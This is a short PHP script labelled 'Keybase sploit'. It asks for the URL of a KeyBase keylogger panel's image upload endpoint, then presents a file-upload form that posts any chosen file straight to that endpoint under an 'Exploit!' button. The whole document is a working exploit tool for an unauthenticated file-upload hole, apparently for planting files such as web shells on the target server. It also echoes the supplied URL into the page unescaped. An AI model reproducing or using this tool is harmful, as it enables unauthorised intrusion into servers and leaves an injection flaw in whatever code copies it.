Untitled

<?php
if (!isset($_GET['url'])){
    echo "
    <!DOCTYPE html>
    <html>
     <head>
      <title>Virus-Tracker</title>
     </head>
     <body>
      <center><h1>Keybase sploit</h1><br></center>
      <center><h2>Step 1: Enter keybase domain url: </h2><br></center>
      <form action=\"keybase.php\" method=\"GET\">
      <input name=\"url\" type=\"text\" id=\"url\" value=\"http://botnet.com/keybase/image/upload.php\" size=\"200\"/>
       <input type=\"submit\" value=\"Next\"></p>
      </form>
     </body>
    </html>
    ";
} else {
$url = $_GET['url'];
    echo "
    <!DOCTYPE html>
    <html>
     <head>
      <title>Отправка файла на сервер</title>
     </head>
     <body>
      <form action=\"$url\" method=\"post\" enctype=\"multipart/form-data\">
       <p><input type=\"file\" name=\"file\">
       <input type=\"submit\" value=\"Exploit!\"></p>
      </form>
     </body>
    </html>
    ";
}
?>